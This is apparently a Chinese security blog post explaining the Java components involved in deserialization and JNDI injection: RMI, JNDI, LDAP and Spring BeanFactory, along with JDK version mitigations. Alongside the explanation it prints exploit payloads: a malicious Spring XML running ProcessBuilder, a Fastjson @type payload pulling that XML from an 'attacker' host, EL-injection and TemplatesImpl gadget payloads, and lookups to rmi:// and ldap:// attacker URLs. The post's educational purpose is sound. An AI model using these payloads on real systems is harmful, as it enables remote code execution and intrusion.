Java反序列化漏洞核心组件

2025 年 7 月 25 日 (已编辑)
1203 字
7 分钟

RMI/JNDI/LDAP/BeanFactory

RMI

RMI(Remote Method Invocation), Java提供的远程方法调用机制,支持跨 JVM 的对象通信(一个JVM中的对象调用另一个JVM中的对象方法)

核心特性

  • 分布式通信:实现跨网络的方法调用
  • 动态类加载:支持从远程 URL 加载类文件(漏洞关键点)
  • RMI Registry:中央注册服务(默认端口 1099),管理远程对象引用

利用方式

  1. 攻击者搭建RMI服务器和HTTP服务器托管恶意class
  2. 靶机向RMI服务器查询恶意对象
  3. 服务器返回一个指向恶意class文件的Reference对象(指向HTTP服务器中的class文件)
  4. 靶机向HTTP服务器请求加载恶意class, 服务器返回恶意字节码
  5. 靶机实例化并执行恶意代码

JNDI

JNDI 是 Java 平台的核心服务接口, 提供统一的命名和目录访问能力, 允许 Java 应用程序通过标准化 API 访问各种命名和目录服务

JNDI 本质是设计良好的服务集成框架, 漏洞源于早期版本对动态类加载的安全控制不足

核心概念

概念说明
命名服务名称→对象的映射(类似 DNS),核心操作: bind()/lookup()
目录服务增强版命名服务,支持对象+属性管理(如 LDAP)

命名服务 (Naming Service)

核心功能:将名称 (Name) 绑定到对象 (Object), 类似电话簿(名称→电话号码)或 DNS(域名→IP)

关键操作:

  • bind():将名称绑定到对象
  • lookup():通过名称查找对象
  • rebind():重新绑定
  • unbind():解除绑定

目录服务 (Directory Service)

  • 扩展功能:在命名服务基础上增加属性管理
  • 特点:对象可附带属性(如用户对象包含邮箱/部门等)

JNDI 架构分层

应用层 (JNDI API)

开发者使用的统一接口 javax.naming.*

示例代码:

java
Context ctx = new InitialContext();
DataSource ds = (DataSource) ctx.lookup("java:comp/env/jdbc/mydb");

服务提供层 (SPI)

协议适配器:将 JNDI API 映射到具体服务

常见提供者: rmi: → RMI 协议 ldap: → LDAP 协议 dns: → DNS 查询 file: → 文件系统

底层服务

实际的服务实现(如 OpenLDAP、RMI Registry)

关键组件

组件说明
InitialContextJNDI 入口点,通过环境配置连接服务
Context核心接口,提供命名操作 (lookup/bind)
Reference对象的间接引用 (包含类名+工厂类+地址)
NamingManager管理对象工厂的创建过程
ObjectFactory工厂接口,将 Reference 转换为实际对象

JNDI注入原理

漏洞触发条件

  1. 应用执行lookup()时使用外部可控参数
  2. JDK 版本 < 8u191(默认允许远程类加载)
  3. 存在危险工厂类(如 BeanFactory

安全演进与防护

JDK 版本安全改进
≤8u121无防护,可直接利用
8u121+限制 RMI 远程类加载 ( trustURLCodebase=false )
8u191+默认禁用所有协议的远程类加载
11.0.1+完全移除 RMI Reference 的远程类加载能力

LDAP

LDAP是轻量级目录访问协议, 用于访问和维护分布式目录信息服务(如用户身份信息、组织架构等)

与JNDI的关系

  • JNDI 通过 ldap:// 协议支持 LDAP 访问
  • LDAP 条目可存储 Java 对象引用( javaSerializedData 或 javaReferenceAddress
  • 可作为JNDI注入的替代载体
  • 替代 RMI 成为高版本 JDK 的首选攻击载体
特性RMILDAP
协议端口1099389/636
响应速度较慢较快
JDK限制8u121+受限8u191+受限
利用复杂度简单需配置schema

BeanFactory

BeanFactory (Spring框架核心)

Spring 框架的容器核心,管理 Bean 的生命周期和依赖注入。

关键能力

  • Bean的创建、配置、组装
  • 依赖注入(DI)实现
  • 支持多种Bean作用域(singleton/prototype等)

漏洞利用

在高级Fastjson漏洞利用中,攻击者可能利用Spring相关类:

  1. 通过特殊Bean触发危险行为(如 org.springframework.context.support.ClassPathXmlApplicationContext 加载恶意XML)
  2. 利用 BeanFactory 的反射能力执行代码

下面是一个加载恶意XML的例子

  • 高危类: ClassPathXmlApplicationContext
  • 利用原理:加载恶意 XML 配置文件实现 RCE
xm
<!-- 恶意 spring.xml -->
<bean id="malicious" class="java.lang.ProcessBuilder">
    <constructor-arg value="calc.exe"/>
    <property name="whatever" value="#{malicious.start()}"/>
</bean>
  • 触发方式
text
{
   "@type": "org.springframework.context.support.ClassPathXmlApplicationContext",
   "configLocation": "http://attacker/malicious.xml"
}

绕过

高版本JDK绕过

当目标 JDK ≥ 8u191(禁用远程类加载)时:

绕过方案 1:利用本地 ClassPath 中的 Gadget

java
// 查找目标应用中已有的危险类
TypeFactory.loadClass("org.apache.xbean.propertyeditor.JndiConverter");
ctx.lookup("rmi://attacker/controlled"); // 触发本地类的方法

绕过方案 2:EL 表达式注入 (Tomcat 环境)

java
// 利用 javax.el.ELProcessor
String payload = "{''.getClass().forName('javax.script.ScriptEngineManager')"
               + ".newInstance().getEngineByName('JavaScript')"
               + ".eval('new java.lang.ProcessBuilder(\"calc\").start()')}";
ctx.lookup("ldap://attacker/" + URLEncoder.encode(payload));

绕过方案 3:反序列化 Gadget 链

结合本地存在的 CC/ROME 等链:

json
{
  "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes": ["yv66vgAA...恶意字节码..."],
  "_name": "pwn",
  "_tfactory": {}
}

总结

关键路径:

  1. 恶意json构造让Fastjson解析
  2. 调用危险方法执行JNDI lookup
  3. 利用RMI或LDAP协议返回Reference加载远程恶意类
  4. 最后系统执行

文章标题:Java反序列化漏洞核心组件

文章作者:4reexile

文章链接:https://4reexile.github.io/posts/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%A0%B8%E5%BF%83%E7%BB%84%E4%BB%B6[复制]

最后修改时间:


商业转载请联系站长获得授权,非商业转载请注明本文出处及文章链接,您可以自由地在任何媒体以任何形式复制和分发作品,也可以修改和创作,但是分发衍生作品时必须采用相同的许可协议。
本文采用CC BY-NC-SA 4.0进行许可。